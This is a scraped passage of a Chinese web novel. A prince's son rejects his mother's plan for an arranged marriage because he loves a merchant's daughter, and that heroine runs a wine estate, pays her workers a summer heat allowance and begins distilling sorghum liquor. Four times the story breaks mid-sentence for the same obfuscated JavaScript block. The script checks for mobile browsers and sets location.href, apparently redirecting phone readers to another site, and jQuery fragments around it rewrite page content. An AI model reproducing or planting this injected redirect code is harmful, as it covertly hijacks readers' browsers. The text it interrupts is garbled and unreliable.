还不等谢卓说完,孙立轩立马道:“我又没说不教你,先说好,我要十坛酒作为报酬。” 谢卓扔给他一个“你也太贪心了”的眼神。 “那就五坛,就这么说定了啊!” 孙立轩沉吟了片刻,一本正经地说道:“说到如何哄女子欢心,你可问对人了,恐怕整个京城没有人比我更清楚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254790|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。首先你要对她细心体贴,其次脸皮要厚,要会说情话。” “你千万不能觉得不好意思。”孙立轩站起来,走到谢卓身边,还拍了拍他的肩膀,“想要哄女人开心,就是买些华服首饰,再说几句贴心话,很简单的!” “真的?” 谢卓有些怀疑,这么简单就行? “当然了!我妻儿在侧,家庭圆满,难道你不信我?” 信自然是信的,不然也不会问你了。 回王府时,谢卓独自牵着马走在路上,脑海中一直在想着孙立轩的话,要细心体贴、要会说情话、还要买首饰逗她开心…… 正好路过一家首饰铺子,牌匾上的“淬金阁”三个大字在阳光下闪闪发光,十分惹人注目。 淬金阁是京城贵妇们最喜欢逛的地方。 别问谢卓怎么知道的,她娘和妹妹的首饰大多出自这里。 淬金阁内,谢卓翻着女侍呈上来的图样册子和首饰式样。 女侍问:“公子可有相中的?” 谢卓皱着眉头,问:“就这些了吗?” 册子上都是些常规的手镯簪子,谢卓觉得太俗气,配不上傅知乔的气质,他是见惯了好东西的,这些东西还入不了他的眼。 女侍有些为难,淬金阁的首饰个个都是精品,这么厚一本册子,难道这位公子一个都没有没看上? “公子想买什么?”掌柜的注意到谢卓,通身气派一看就是哪家的贵公子,再偷瞄了一眼他腰间的玉佩,玉质细腻通透,不似凡品。 “你们这还有什么好东西?拿出来我看看。” 掌柜的心中顿时有了主意,招来女侍耳语一番。 很快,女侍就抱了一个锦盒上来。 “公子请看,这就是我们淬金阁的镇店之宝,翡翠宝石莲花簪,是成如风大师的得意之作。”掌柜的语气颇为自豪。 谢卓将簪子从锦盒中拿出,一旁的掌柜连忙出声提醒,“您、您小心点!” 掌柜的全神贯注盯着谢卓手上莲花簪子,这支簪子上全是翡翠和宝石,要是一个没拿稳摔了怎么办? 谢卓仔细打量着手中的簪子。 赤金的簪身,簪头是一朵盛开的莲花,每一片花瓣都是翡翠雕刻而成,一共有六层花瓣,层层叠叠错落有致,花瓣下还用金线固定着许多细小的金珠,看上去就像一朵盛开的莲花。莲蓬位置上镶着一颗拇指大的粉宝石,闪烁着耀眼的光芒,使得整支簪子呈现出立体美感。 翡翠花瓣作为底托,将金珠、宝石镶嵌其上,精致醒目,巧夺天工,不愧是大师之作,将莲花花瓣的空间感完美地展现出来了。 确实担得起镇店之宝的名头。 “多少钱?” “三千两。” 谢卓没有说话。 淬金阁的首饰价格大多是几十两几百两,上千两的簪子并不多见。 掌柜的一脸忐忑的看着谢卓,“这支簪子乃是成如风大师亲手打磨,世间只此一支,值这个价的,您看这上头的宝石……” “包起来。” “啊?”掌柜的明显愣了一下,随后带着谄媚的笑容躬身:“好、好嘞!” 这位公子果然是位大客户,掌柜的暗自得意,他就是看这位公子气势非凡才把这支簪子拿出来的,他的眼光从没有出过错。 掌柜的见谢卓花钱爽快,十分殷勤的推荐:“这位公子,您还要不要买点儿别的?本店的品质绝对上乘……” 谢卓嫌他聒噪,淡淡瞥了一眼。 掌柜的立马收声:“公子慢走!” 54. 非她不娶 买完簪子,谢卓写了一封信让人连信和簪子一起送到青州。 在王府歇了几日,谢卓便重新回到骁骑军中训练,他每天穿梭在王府和军营中,忙的不可开交。 另一边,端亲王妃左慕蕊也是忙个不停,这阵子她每天收拜帖收到手软。 左慕蕊大约三十多岁的年纪,柳叶眉,丹凤眼,因为保养得宜,皮肤仍然白皙清透,眼角也没有落下岁月的痕迹。她坐在贵妃椅上翻看着媒人送过来的名册,心里想着要趁着谢卓在京城的这段时间给他定一门亲事。 左慕蕊嫁进王府十多年,接连生下了一儿一女,连续两胎让她身子亏损严重,后来便没有再继续怀上孩子了。 在外人看来,是左慕蕊霸占丈夫导致子嗣不丰,有好些人家私下里都说王妃是个善妒之人,嘴上说归说,其实暗地里大家都非常羡慕她。端亲王谢弛成亲这么多年来也一直没有纳妾,除了婚前的两个通房就没有别的女人了,更没有生一些庶子庶女出来,给足了她面子。 所以,这么多年来,端亲王府只有两个孩子。 年轻时还好,现在年纪一上来,左慕蕊愈发觉得王府里冷清。 偌大的王府只有两个孩子,实在是太少了! 国公府家的长子孙立轩与谢卓相差一两岁,他第二个孩子都生出来了,自家儿子连婚事都没影儿,她这个当娘的实在着急啊! 谢卓早些年一直在外求学,左慕蕊想着学业为重,就不打扰儿子学习了,好不容易等儿子学成回京了,结果他又进了骁骑军,早出晚归每天在校场训练,接着就被派出去剿匪。 大半年的时间都在外面,她根本找不到机会跟他说成亲的事。 现在好不容易回京了,左慕蕊又怎么会放过机会。 端亲王谢弛对此也没意见,谢卓而今成熟稳重了,确实可以成家了。 用完晚膳,左慕蕊把谢卓单独留下来讲话。 “你都知道了吧?国公府家的大公子孙立轩又添丁了。”说完她看了谢卓一眼。 “母妃有事不妨直说。”谢卓隐约能猜到她的心思。 “你看你年纪也不小了,是不是该考虑成亲了?”说着左慕蕊拿出了一叠册子放在桌上,“这些是我和你姨母精选挑选出来的,京城各家适龄姑娘的画像都在这了,你快看看有没有喜欢?要是有看上的娘立马找媒人说亲……” 这些世家贵女的画像都是媒婆送过来的,谢卓这次剿匪有功,得到圣上赞誉,前途无量,愿意嫁他的世家贵女们不在少数,已有不少媒人过来跟她打听谢卓的婚事了。 左慕蕊兴致勃勃拉着谢卓看画像,“娘都派人仔细打听过了,她们家风清正,都是些温柔贤良、通情达理的好姑娘,容貌、才情都是一等一的,是真正的大家闺秀!” “母妃要我娶一个未曾谋面的女子?”谢卓十分抗拒,他都没见过这些姑娘,更不知道她们的性情如何,一想到自己将来要跟一个素不相识的女人同床共枕,肌肤相亲,谢卓浑身的鸡皮疙瘩都起来了。 左慕蕊翻开册子,指着其中一个女子说,“哪里是未曾谋面,礼部尚书家的大姑娘于雅丹,她小时候经常来我们家玩,跟在你身后叫你卓哥哥,你忘记了?” 谢卓是真的想不起来了,他对着左慕蕊行礼,“儿子还有军务,先行告退了!” “站住!”左慕蕊怎么可能放他离开,所谓的军务只不过是他离开的借口而已。 “感情是可以慢慢培养的嘛!再说了,当年我和你父王成亲前也未曾见过面,如今不也好好的?” 谢卓再次拒绝:“强扭的瓜不甜。” “你还没吃怎么知道不甜?” 谢卓:…… 说不过说不过,他早该有这个觉悟的,跟自己亲娘争辩能落得什么好。 谢卓直接摊牌:“母妃,儿子已经有了意中人。” 左慕蕊闻言有些惊讶,她这个儿子从小就倾慕者众多,只是性子淡了些,一直对那些倾慕他的女孩不为所动,没想到出去一趟回来竟然有了意中人,左慕蕊有些好奇:“是吗?她叫什么名字,是哪家的姑娘?” 既然摊牌了谢卓也不再隐瞒:“她叫傅知乔,家在青州,家中经营商铺。” 经营商铺的? 左慕蕊听完心中就是一咯噔,儿子好不容易开窍了,结果开窍的对象是个商户之女,她语气别扭:“是商户之女?” 谢卓点了点头,他一直观察着左慕蕊的脸色,补充道:“她人品学识都很出众,是个很好的姑娘。” 左慕蕊眼中闪过一丝复杂之色,“可是她是个商户女,这个身份实在有些低。” 左慕蕊出身于书香世家,她的父亲是有名的大儒,祖上也出过不少举人进士,是真正的名门望族。 对于左家这种书香世家来说,认为读书人才是清流,商人通过倒买倒卖赚钱,都是些唯利是图的小人,左慕蕊从小在这样的环境里耳濡目染,自然也就轻视商人。 说到商户之女,左慕蕊眼前不禁浮现出傅知乔的商人形象,能吸引到儿子的注意,想必样貌应该是不差的。除开样貌,商户出身缺乏贵族教养,家里财力颇丰必然养成她攀比炫耀、骄奢淫逸的性子,将来说不定不尊公婆、不敬丈夫,败坏家风,实在难登大雅之堂。 皇家宗族怎能与商户缔结婚姻。 她左慕蕊挑选儿媳妇,自然是从公侯伯爵、大学士府里挑。 一个连世族规矩都不懂的人,怎么能做好儿子的贤内助,怎么能做王府未来的主母! 不!她绝对不要这样的儿媳妇! 左慕蕊心里百转千回,饮了口茶,平复了心情后说道,“你若实在喜欢她,等将来娶了世子妃后可以把她纳进府里。” “她是儿子心悦之人!”谢卓强调,他压根就没想过让傅知乔当妾。 左慕蕊:“傅姑娘出身商户,不管她学识、容貌如何,光是出身这一点她就比不上别人,世家大族不会接受这样人做王妃,你若执意要娶她,岂不是把咱们王府架在火上烤?” 真是头疼,她怎么生了这么个不懂事的儿子。 谢卓不以为意,谁敢当面嚼端亲王府的舌根?至于背地里,没听见就当没说过,嘴巴长在别人身上,哪怕捂住嘴巴,他也管不了别人思想,随他们去吧! 谢卓还记得傅知乔曾在青州茶馆说过的话:“没有男子愿意娶不洁的女子,而女子也不愿意嫁给一个三妻四妾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272234|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人。” 尤其是那句她骂白面书生的那句“脏男人”,那鄙夷的语气,他至今都记忆深刻。 如果自己先娶了妻,再纳她进府,是不是就成了她口中的脏男人? 谢卓忍不住打了个激灵,不行不行,他不能去娶别的女子,他不能成为一个脏男人。 “儿子此生非她不娶,您就打消给我定亲的念头吧!” 左慕蕊狠狠地一拍桌子,“非她不娶?听听你说的都是什么荒唐话,没有父母之命媒妁之言,私定终身,你还要不要名声了?” “堂堂端亲王府的世子爷,娶一个商户女为妻,说出去岂不是让人笑掉大牙?”左慕蕊光是这么一想,心口便觉得隐隐作疼。 “你可以纳她为妾,但绝不能娶她为妻!”左慕蕊音量拔高,她心头的怒火已经压制不住了,这个商户女的心机不是一般的重,小小年纪就能勾的自家儿子非她不娶,很难不怀疑她是知道卓儿的真实身份故意接近,儿子如今正是血气方刚的的年纪,莫非…… 左慕蕊脸色更不好了,她试探道:“你们可有成事?” 谢卓愣了一会才反应过来,他虽然还未经事,但在骁骑军中这么久也听过不少荤段子,“母妃在胡说些什么?” 左慕蕊心中长吁一口气,没有私定终身就好,事情还有回旋的余地。 看谢卓的态度她知道一味地压制是不行的,左慕蕊打算采用怀柔战术,柔声道:“怀砚,不是娘有意阻挠,婚姻是两姓之好,自古讲究门当户对,门不当户不对是没有好结果的。” 她的脸上虽然还带着笑意,但笑意已经没有直达眼底了:“你还年轻不懂这些,你的婚事不是你跟傅姑娘两个人的事,而是关乎我们两家的未来。两家若是地位相当,自然是结为盟友往来不断,若是地位相差过大,尤其是咱们这种家庭,婚姻不慎可能会连累整个家族面临灭顶之灾。” 谢卓一言不发。 他从未因为两人的身份差距而看轻傅知乔,他从小就被送出去历练,也不太懂得后宅里的那些弯弯绕绕。 他只是想娶一个自己心爱的女子而已。 “鱼和熊掌不可兼得,你回去好好想想吧!”左慕蕊声音柔和却带着不容抗拒的威严。 母子两初次商谈以互不低头告终。 谢卓走后,左慕蕊在房里久久不能平静。 章嬷嬷劝她:“王妃,世子的性格您最清楚了,他一向洁身自好,身边从来就没出现过一些个莺莺燕燕,是最是稳妥不过的人了。世子他行事有分寸的,只不过正处在年轻气盛的年纪,您多体谅些。” 本想着给儿子定一门好亲事,结果却闹得不欢而散。 左慕蕊用力拧着手里的帕子,好一会儿才说话:“嬷嬷,那我应该怎么做?” “王妃断不能做出棒打鸳鸯的事情,免得让世子感到委屈,母子离心呐!”章嬷嬷轻声给她捋思路:“王妃放宽心,您想想看,世子从小接触的都是些贵女,他不喜这些端着架子的贵女,所以才被乡野间的女子吸引,等时间一长,新鲜劲一过,说不定就腻了呢!” 经过章嬷嬷苦心劝谏后,左慕蕊心情轻快了不少:“嬷嬷说的有道理,是我着相了。” 55. 高温补贴 七八月是一年中最热的时候。 骄阳炙烤着大地,似乎有一层透明的蒸气从地面升腾,路边的小草也被晒得蔫蔫的,树上的叶子挂在枝头上打着卷,更别说人了,一动就浑身冒汗,黏黏糊糊很不舒服。 傅知乔带着一院子的人来庄园里避暑,银杏拿了把团扇替傅知乔扇风,很快她的鼻尖上便冒了汗。 傅知乔看她这可怜的模样,“开冰窖吧!” 没错,她的院子里是有冰窖的。 去年冬天她就有了存冰的心思。 她是卖酒的,有些酒加入冰块后又是一番风味,尤其是青梅酒,在炎炎夏日喝上一杯加冰的青梅酒,啧啧,人生极乐不过如此。 冬天河面冻结时到河中取冰,用冰镩将河面上的冰分割为长方块,切割好的冰块放入冰窖里盖上几层棉被,尽量隔绝外面的温度,最后把冰窖封上就可以了。 因为地底温度低,冰窖的开口都比较小,封住后空气进不去,冰块能够保存比较长的时间,从冬天留到夏天完全不成问题。 采冰、运冰、藏冰,每一个环节的花费都很多,一般只有权贵之家才有人力物力来设置冰窖,傅知乔是享乐主义,她辛苦赚钱为了什么?不就是为了享受更高质量的生活嘛! 下人们取了一些冰块出来,在室内放了几个冰鉴降温。 傅知乔里面穿了一身蚕丝编织而成的绸衣绸裤,外面穿着轻薄的纱衣,冰气凉丝丝的,透过轻薄的衣服钻到皮肤上,她这才觉得舒坦起来。 一边用冰盆降温,一边吃着冰镇的水果,傅知乔闭着眼倚靠在软塌上,整个人都放松下来了。 自打开了冰窖后,傅知乔觉得自己的生活水平完全高了一个档次。 余柔岚进来的时候就看到傅知乔慵懒的样子,少女白皙的肌肤在薄纱下若隐若现,纤腰婀娜,真如明珠生晕,美玉莹光。 “瞧瞧你,坐没坐相。” 傅知乔听到动静以为小丫鬟进来了,结果是来人自己娘亲,她睁开眼睛,脸上顿时绽放出一抹灿烂的笑容。 “娘,快来吃冰镇水果。”说着,她喂了一颗葡萄到余柔岚嘴里。 余柔岚刮了她的鼻子,“女孩子家家的,不要贪凉,不然等年纪上来有你受的,你可别嫌我啰嗦,等将来……” “娘~”傅知乔一撒娇,余柔岚就拿她没办法了。 傅知乔已经摸清了余柔岚的性格,她可以放肆在余柔岚面前释放自己的本性。其实一开始傅知乔和余柔岚相处并没有这么自然,她只是灵魂穿到这副身体里面,虽然拥有原主之前的记忆,但面对着这个母亲她还是有几分别扭和生疏。 在普济寺经过东觉大师的指点之后,傅知乔就开窍了。在这个世界上,余柔岚是最爱她的人,也是她唯一的亲人,只有余柔岚和她血脉相连。 余柔岚过来是找傅知乔对账的。 她对于帮女儿管账这件事十分上心,有看不明白的地方还会找傅知乔解答。说是要余柔岚管账,其实都是手下的人把账算好,再交到她手上核对一遍。 “这几项采买怎么比上月多出那么多?” 傅知乔一看,支出多的那几项是买粮食的钱,这两月她需要大量的太白酒来酿青梅酒,所以采买的支出就多了些。 傅知乔不紧不慢的解释给她听。 这段时间,余柔岚都在帮忙管理铺子上的账本,几乎到了废寝忘食的地步,连出来避暑度假都不忘带上账本,她像是重新找到了生活的意义一般,整个人容光焕发,再也不见了当初的愁苦面容。 傅知乔简直哭笑不得,不过她看到这样的余柔岚也很高兴。 余柔岚不是第一次管账了,以前在傅府她也管过家中的账本。 两个都是账本,但意义完全不一样。在傅府时她只是短暂的管理过后院开支,现在她管理的是整个太白酒铺的收支,管自己的钱与管中公的钱是不同的,通过这些账本她能完全知道家里的财政情况。 余柔岚太自豪了,自己的女儿是如此的优秀,在她看来,女儿的经商天赋甚至要高于丈夫傅长岳。 所以,她这个当娘的也不能拖后腿,必须要替女儿管好账本。 母女俩腻歪了一会,窗外的天色一点点暗下来。 用完晚饭,下人们把餐具撤掉。 乡下不似城里那样热闹,没有嘈杂的人声,周围只有蛙叫蝉吟,还有风儿吹动树叶发出的沙沙响声,抬眼望去,漫天的星光陪伴着皎洁的明月,一切都是那么的美好。 聆听着大自然的旋律,傅知乔进入了梦乡。 第二天,傅知乔酒去庄里了解太白酒的生产进度。 “东家好!” “东家好!” 工人们看到她纷纷主动打招呼。 傅知乔在酿酒房里待了大概半炷香就受不住了,整个酿酒房如同一个巨大的蒸笼,罩得人透不过气来。尽管已经有每一个时辰换一次班的规定,傅知乔还是有些担心他们受不住晕倒在这里。 拌料、上甑、蒸酒……整个太白酒的酿制过程都需要在高温下进行,温度低了不利于原料发酵,再加上酿酒房太过宽阔,放些冰块进去也达不到降温的效果。 夏季这么长,冰块肯定要省着用的。大量放冰块降温她又负担不起,冰窖里那些冰块最多能支撑生产房十几天的用量,更何况还要分一部分到酒铺里去。 去外面买更不现实,夏日的冰价等同于金价。 没有制冷设备的日子真的不好过,不知道朝廷有没有开采出硝石,要是有了硝石制冰就方便多了。 傅知乔并不是一个只顾自己贪图自己享乐的人,她也想给工人们创造一个舒适的环境。 第二天一早,酒庄里发布了新的通知。 在七、八月这两个月时间里,酒庄里所有的工人都能领一份高温补贴,除了基本的五十文月钱,每人还能多领三十文的补贴。 换句话说,在这两个月里所有工人的月钱翻倍,包括新来的运输队那群人。 不止如此,她还让厨房熬解暑的绿豆汤喝,每天不限量供应,尽量让工人们过得舒心些。 工人们大为感动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282268|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷直言傅知乔是他们遇到过的最厚道的东家。别说是乡下,就是到青州城里,也没有哪个东家会给他们这样好的待遇,还专门熬绿豆汤给他们解暑。 他们本就是村里的佃户和附近的村民,傅知乔这种措施让他们有种被当做自己人的感觉,更加加深了他们对酒庄的归属感。 对傅知乔而言,用钱买忠心已经是最低廉的成本了,只要这些工人能好好干活,她是绝对不会亏待他们的。 酒庄里突然多了一大波人,自然是瞒不过余柔岚的。 傅知乔没敢直接告诉余柔岚他们就是黑虎寨那群山匪,只说他们并不是恶匪,原本是一群流民,后来被黑虎寨的人抓上山,过了一段时间山匪们嫌弃他们只会吃饭不敢为山寨抢劫,就把他们赶下山了。 这群人无路可去求到了她这里,她一心软就收留了他们。 余柔岚脸色大变,目光中充满了不敢置信:“你怎么这样大胆?” “你怎么敢的?你明知道你父亲就是被江匪所害,怎么还敢与匪徒扯上关系?” 余柔岚对匪徒可以说是深恶痛绝,她的丈夫就是被江匪害死的,后来被人诬陷、被夺家产、被迫离乡……都是因为江匪害死了傅长岳才导致后面这一系列事情。 “你是想气死娘吗?”余柔岚捂住胸口,感觉要喘不过气来了。 崔嬷嬷赶忙给她拍拍后背。 “娘,您别生气,先听我说。”傅知乔上前紧紧握住她的手,“如果我不收下他们,往后他们再出去为祸百姓怎么办?没错,害死了父亲那些江匪是罪无可恕,但放任这群人出去,任由外面的山匪越来越多,将来还有会更多的人跟我们一样失去亲人。” 余柔岚渐渐冷静下来,“那也不是你该管的事!” 傅知乔知道余柔岚是担心她的安危,说:“他们现在是我的奴仆,身家性命都握在我手里,不敢对我怎么样的!” “万一官府追究呢?你这是包庇之罪啊!” 女儿怎么跟一群穷凶极恶的匪徒扯上关系了,老天爷,你是要逼死我吗? 余柔岚心都要碎了。 傅知乔:“娘无需担心,他们现在是我运输队中的一员,与黑虎寨没有瓜葛。” “酒庄里正好缺人,他们身体强壮有力气,给咱们干活不是正好吗?”傅知乔苦口婆心:“他们只是半途沦为了山匪,现在有了住处、有了正经活计、能吃饱穿暖,便不会出去抢劫伤人了,引导他们走向正途,难道不比杀了他们更好!” “娘还记得东觉大师说要我多行善事吗?”傅知乔亮出手上的佛珠给她看:“我可不想再生病了,您就权当我在行善积德好不好?” “那你真的不会有事?”余柔岚一听生病的字眼,态度立即软化了。 傅知乔身体状态一直是余柔岚的心病,她见过傅知乔面无血色躺在床上的样子,她再也不想经历一次了,所以每次上香拜佛,她都是最虔诚的那一个。 傅知乔保证:“真的!” 罢了,女儿主意大的很,她这个做娘的应该选择相信她。 56. 醉诗仙 太白酒和青梅酒都在按计划酿制中。 短暂的歇息了两日,傅知乔很快就投入到了新一轮的工作里,再过一两个月就到高粱成熟季节了,她必须要在这之前把麦曲做出来。 制作麦曲她也是头一回,但有了前面制作酒曲的经验,身边还有小月这个帮手,制作起来顺利多了。 小麦大麦按照九比一的比例,碾碎后加适量水混合均匀,再拌进去一些之前做好的酒曲制成砖头形状就可以了。 把曲砖铺上一层干稻草放在保温室内培养,大概两天后曲砖里的长出了菌丝。再把保温室的门窗被全部打开,让空气充分流通,待曲砖表面逐渐变硬后,小月每天负责定时给曲砖翻面。 等曲砖完全变硬后就通风干燥处保存即可。 整套流程下来大概需要二十天,等她这边大量生产出麦曲,高粱也成熟了。 整个庄园一片丰收的景象。 高粱成熟的重要时刻她怎么能不在场呢! 傅知乔早早地赶到了高粱地里,她捧着手中的高粱穗,沉甸甸的,又仔细瞧了瞧饱满的穗粒儿,眼中全是欣慰。如果高粱的产量能稳定下来,她还盘算着明年开春还要再多开一些荒地出来种植高粱,至少要翻倍! 佃户们头戴草帽,手持镰刀在地里忙活着。先去掉高粱秆上的叶子,砍掉根部,把高粱穗头砍下来装在木板车中,再统一拉到晾晒场上。 收割下来的高粱穗要放在太阳底下暴晒,让其吸取天地之精华,这样酿成的酒味更加香醇。 午时的太阳最是火辣,晾晒场上铺满了红彤彤的高粱穗,时不时有人过来翻晒。等晒干后就可以进行脱粒了,将高粱穗头平铺在干净的地上,佃户们拿着竹竿或木棒狠狠打在高粱穗上,经过反复的敲打,里头的高粱籽就会全部掉出来。 将掉落下来的高粱收集起来,确保晒干不会发霉后就可以收进仓库了。 傅知乔看着仓库里堆成小山一样的高粱,笑得合不拢嘴,仿佛已经看到了酿好酒后的场景。 高粱酒的名字她都想好了,叫醉诗仙。 * 因为要酿新酒,高老头也早早地准备好了。 傅知乔一声令下,酒庄里的第三条生产线正式启动。 高粱经过蒸煮过后,表面已经被蒸烂开花,颜色也变成了褐红,每一颗颗都泛着光泽。 高老头对整个酿酒流程已经很清楚了,浸泡、蒸熟、摊晾、拌曲、发酵、蒸馏……蒸好的高粱拌完曲就可以进入到酒池中集中发酵了。 发酵过程大概需要二十天到三十天。 趁着这段时间,傅知乔让程业玄带着运输队去各个村里收购高粱。 哦,不对,是桃黍。 程业玄有片刻迟疑:“确定是收桃黍?” 桃黍这东西收回来干嘛?他虽然不通五谷,但也知道一般只有贫农才会吃桃黍。 程业玄本人对傅知乔的态度十分恭敬,作为运输队的老大他已经率先拿到了新的户籍。傅知乔为了表示对他的尊重,特地花钱打通关系给他办了良籍,如今他正式成为了刘家村的一员,彻底告别了往日的杀戮生活。 运输队有程业玄坐镇,文山也能空出手来专心负责护卫队的事情。 如今酒庄的设施越来越全,酒的库存也越来越多,文山吩咐手下的护卫门严加防范,无论白天和晚上,酒庄内外都有专人巡逻。 两队人马各司其职、互相协作,傅知乔很满意。 “对,尽可能多的给我多收购些回来,” 说完她又嘱咐文江:“你派人去把庄园的那几间仓库给我腾出来,打扫干净,免得桃黍收购回来后没地方放。” 文江咂舌:“四间仓库全部装满?” “先看看能收多少回来,最好是全部装满。”傅知乔也不确定能收回多少高粱,但越多越好。 酿酒需要大量的高粱作为原料,仅靠庄园种的那些是远远不够的。更何况庄园里是第一次种植高粱,周边还有很多的地没有开荒出来,这些产量根本满足不了她酿酒的需求。 运输队去的第一个地方是大岭村,他们在村口支起了一个简易的凉棚。 刘永昌作为账房先生要在现场做账册,他嘴里吆喝着:“收购桃黍,三文一斤!” 吼了几嗓子后,陆续吸引了一些人过来。 率先赶来的是村长曹志丰,他穿着一件七成新的灰蓝色紧袖短袄,脸上满是皱纹,看上去有五六十岁的样子,看了程业玄他们一眼后,神情有些严肃,问:“你们是从何处来?真的要收购桃黍?” “曹村长,我们是隔壁刘家村的,来大岭村就是为了收购桃黍。” 曹志丰点点头表示知道了,接着他叫了人回去通知村里其他的人。 “你们该不会是骗人的吧?” 曹志丰:“大龙,不得无礼!” 说话的人是个瘦高的个子,他的名字叫曹大龙,有着农家人特有的黝黑色皮肤,他睁大双眼,脸上写着你不要看我老实就欺骗我的表情。 “你们收这个干嘛?”站在他旁边的一众村民脸上也都是不敢置信之色。 这年头居然有人收购桃黍,那玩意又不好吃又不好看的。 桃黍煮出来的味道发涩,口感远远比不上大米,但村里人还是多少会选择种一些,就算自家不吃,拿来喂鸡喂鸭也是很好的。 所以他们听到这玩意居然能卖钱,多少有些怀疑自己是不是听错了。 “我们自有用处。” 曹大龙憨笑道:“桃黍我家有,你们确定要收吗?” “真的!不过,品质太差的不行,我们只收颗粒饱满的桃黍。” 刘永昌看到村民们还不太相信的样子,干脆打开了装钱银的箱子。 说一千道一万,不如真金白银来的实在,在来之前,东家交给了他足够多的银子。 “哇!”村民们两眼放光。 一箱子雪花银和一箱子的铜钱! 在真金白银的诱惑下,曹大龙忍不住了,他迅速跑回家背了两麻袋桃黍出来,运输队队员麻利的过称,然后把重量告诉刘永昌。 刘永昌在册子上登记好之后当场给曹大龙结算银子。 村民们大多处于观望之中,看到曹大龙收钱的场景后他们直接打消了疑虑。 原本在一边看热闹的人一个个如同离弦的箭一般冲回了家中,倒腾出自家的桃黍。 越来越多的人听到了风声,挑着担子、背着背篼来到了村口。 程业玄见场面乱了起来,防止有人浑水摸鱼,他喊道:“别挤,别挤,排队,大家排好队,不守规矩的不收!” 村民们也都很有眼色的在村口排起了长龙,等着运输队给自家的桃黍过称。 运输队的人本来就互相熟悉,程业玄带着人守着粮车、维持现场秩序、称重,刘永昌负责算账、付钱,所有的人配合默契。 直到八辆运粮车全部装满,程业玄才让人停手。 已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297079|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经拿到钱的村民心里都是美滋滋的,但排在后面的村民们见还没轮到自己,那些收桃黍的人却要回去了,急忙冲上前来询问:“等等,我们的桃黍还没收呢!” 程业玄:“我们的车装满了。” 曹志丰问:“你们明天还来收吗?” 程业玄看了下队伍长度,大概还有十几人:“你们还有多少?” 曹志丰叫来那十几户人家,在一起合计了一下,“估么着有两三千斤。” “行,明天我们还会过来。” 一个村子收完又去到下一个村子。 运输队已经完全熟悉了整个流程,到了后来,程业玄和王奇两人干脆各带一支队伍分开行动,跑了附近5个村子,大概收购了六七万多斤高粱回来。 文江已经觉得很多了,但傅知乔还觉得少。 六七多斤高粱连一个仓库都装不满,“这些还不够,继续去收。” 运输队在各个村子里收粮,忙的收脚不沾地。 * 傅知乔这边也没闲着,算算日子,上次的高粱应该发酵好了。 傅知乔叫上高老头准备蒸酒了。 能进蒸酒房的工人都是签了死契的,终身为傅知乔卖命。 因为有东家在场,工人们手脚格外地麻利,人人都想在她面前露一手。负责看管火候的两个小伙子,不停地往大灶里塞着干柴,火势汹涌,熏得他俩的脸颊通红,衣裳也被汗水打湿。 酒甑里装满了发酵好的高粱原料,用木棒在上面戳出几个蜂眼,盖上盖子,把酒甑凹槽加满水,开始进行蒸馏。 柴火在灶膛里噼里啪啦作响。 蒸汽飘在整个酿酒房上空。 高老头看准时机:“换凉水。” 工人们踩着高凳把酒甑上的阀门打开,让已经变热的水流出去,再往里面倒进凉水。另一个工人拿着木棍搅动着凉水,好让酒甑上方始终保持凉凉的温度,蒸汽在酒甑上方遇冷凝结,最后汇集成液体流出。 大约两炷香时间过去,一股似酒非酒的味儿从酒甑里飘了出来。 傅知乔心里不免激动,她期待这一天已经很久了。 醉诗仙终于要来了! 高老头从来没有想过桃黍也能拿来酿酒,心里对傅知乔的敬佩又上了一层。 果然,东家的酿酒天赋不是他能比的。 工人抬来木桶接着酒液,去掉头酒和尾酒,只保留中间的酒液。 醇香的酒味儿在空气中慢慢发散,所有人都陶醉在酒香之中。 正当高老头准备扔掉第一次蒸馏出来的高粱残渣时,傅知乔过来阻止了他的动作,而是让他再次加入酒曲,等二次发酵后重新再蒸一遍。 高老头虽然不解,但也乖乖听话。 东家这么做肯定有她的道理! 不止高粱原料需要充分利用,第一次蒸馏好的酒液还需要单独再蒸馏一遍,最后出来的酒液才是醉诗仙。 出酒量越低,度数越高。 